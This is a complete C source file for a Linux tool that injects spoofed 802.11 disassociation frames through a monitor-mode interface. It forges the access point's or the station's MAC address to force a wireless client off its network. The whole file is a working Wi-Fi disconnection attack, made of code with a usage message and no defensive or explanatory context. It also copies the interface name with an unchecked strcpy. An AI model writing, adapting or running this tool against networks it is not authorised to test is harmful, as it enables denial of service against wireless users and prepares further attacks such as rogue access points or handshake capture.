#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <asm/types.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

#define MACADDR_FMT		"%02x:%02x:%02x:%02x:%02x:%02x"
#define MACADDR_ARG(a)	(a)[0],(a)[1],(a)[2],(a)[3],(a)[4],(a)[5]

#define PRISMHDR_SIZE		144

int open_iface(char *iface, int *arp) {
	struct ifreq ifr;
	struct sockaddr_ll addr;
	int sock;
	
	if((sock=socket(PF_INET, SOCK_DGRAM, 0))<0)
		return -1;
	
	bzero(&ifr,sizeof(ifr));
	
	strcpy(ifr.ifr_name,iface);

	if(ioctl(sock,SIOCGIFHWADDR, &ifr)) {
		close(sock);
		return -1;
	}
	*arp=ifr.ifr_hwaddr.sa_family;	
	
	if((*arp!=ARPHRD_IEEE80211) && (*arp!=ARPHRD_IEEE80211_PRISM)) {
		fprintf(stderr,"interface %s not in monitor mode!\n",iface);
		close(sock);
		return -1;
	}
	
	if(ioctl(sock,SIOCGIFINDEX, &ifr)) {
		close(sock);
		return -1;
	}
	close(sock);
	
	if((sock=socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)))<0) {
		close(sock);
		return -1;
	}
	
	bzero(&addr,sizeof(addr));
	addr.sll_family = AF_PACKET;
	addr.sll_ifindex = ifr.ifr_ifindex;
	
	if(bind(sock,(struct sockaddr *) &addr, sizeof(addr))<0) {
		close(sock);
		return -1;
	}
	
	return sock;
}

int main(int argc, char **argv) {
	unsigned char disassoc[]= { 
		0xa0, 0x00, 				// FC
		0x00, 0x00, 				// Duration / ID
		0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 	// Addr1
		0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 	// Addr2
		0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 	// Addr3
		0x00, 0x00,				// Seq. Ctrl
		0x01, 0x00	// Body - unspecified reason
	};
	char *tmp;
	int toap=0, sock;
	
	if(argc<4) {
		fprintf(stderr,"usage: %s <interface> (-m) <bss> <sta>\n",argv[0]);
		return 0;
	}
	else if(argc>4) {
		if(!strcmp(argv[2],"-m"))
			toap=1;
		else {
			fprintf(stderr,"usage: %s <interface> (-m) <bss> <sta>\n",argv[0]);
			return 0;
		}
	}
	
	tmp=argv[2+toap];
	for(sock=0;sock<6;sock++) {
		char *tmp2;
		/* set BSS */
		disassoc[2+2+6+6+sock]=strtoul(tmp,&tmp2,16)&0xff;
		if(toap)	/* to AP  -> DST=BSS */
			disassoc[2+2+sock]=disassoc[2+2+6+6+sock];
		else 		/* to STA -> SRC=BSS */
			disassoc[2+2+6+sock]=disassoc[2+2+6+6+sock];
		if(tmp2==tmp) {
			fprintf(stderr,"usage: %s <interface> (-m) <bss> <sta>\n",argv[0]);
			return 0;
		}
		tmp=tmp2+1;
	}
	
	tmp=argv[3+toap];
	for(sock=0;sock<6;sock++) {
		char *tmp2;
		if(toap)		/* to AP  -> SRC=STA */
			disassoc[2+2+6+sock]=strtoul(tmp,&tmp2,16)&0xff;
		else			/* to STA -> DST=STA */
			disassoc[2+2+sock]=strtoul(tmp,&tmp2,16)&0xff;
		if(tmp2==tmp) {
			fprintf(stderr,"usage: %s <interface> (-m) <bss> <sta>\n",argv[0]);
			return 0;
		}
		tmp=tmp2+1;
	}
	
	printf("sending disassociation from "MACADDR_FMT" (%s) to "MACADDR_FMT" (%s)\n",
		MACADDR_ARG(disassoc+2+2+6), toap?"STA":"AP",
		MACADDR_ARG(disassoc+2+2), toap?"AP":"STA");
	
	if((sock=open_iface(argv[1],&toap))<0) {
		fprintf(stderr,"can't open packet interface on %s\n",argv[1]);
		return 23;
	}
	
	if(toap==ARPHRD_IEEE80211_PRISM) {
		unsigned char data[sizeof(disassoc)+PRISMHDR_SIZE];
		
		bzero(data,PRISMHDR_SIZE);
		memcpy(data+PRISMHDR_SIZE,disassoc,sizeof(disassoc));
		printf("%d bytes sent\n",sendto(sock,data,PRISMHDR_SIZE+sizeof(disassoc), 0, NULL, 0));
	}
	else
		printf("%d bytes sent\n",sendto(sock,disassoc,sizeof(disassoc), 0, NULL, 0));
	
	close(sock);
	
	return 0;
}
